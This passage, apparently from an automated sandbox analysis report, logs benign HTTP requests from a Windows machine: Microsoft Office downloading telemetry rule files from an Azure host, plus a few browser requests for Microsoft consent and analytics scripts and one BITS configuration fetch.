Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
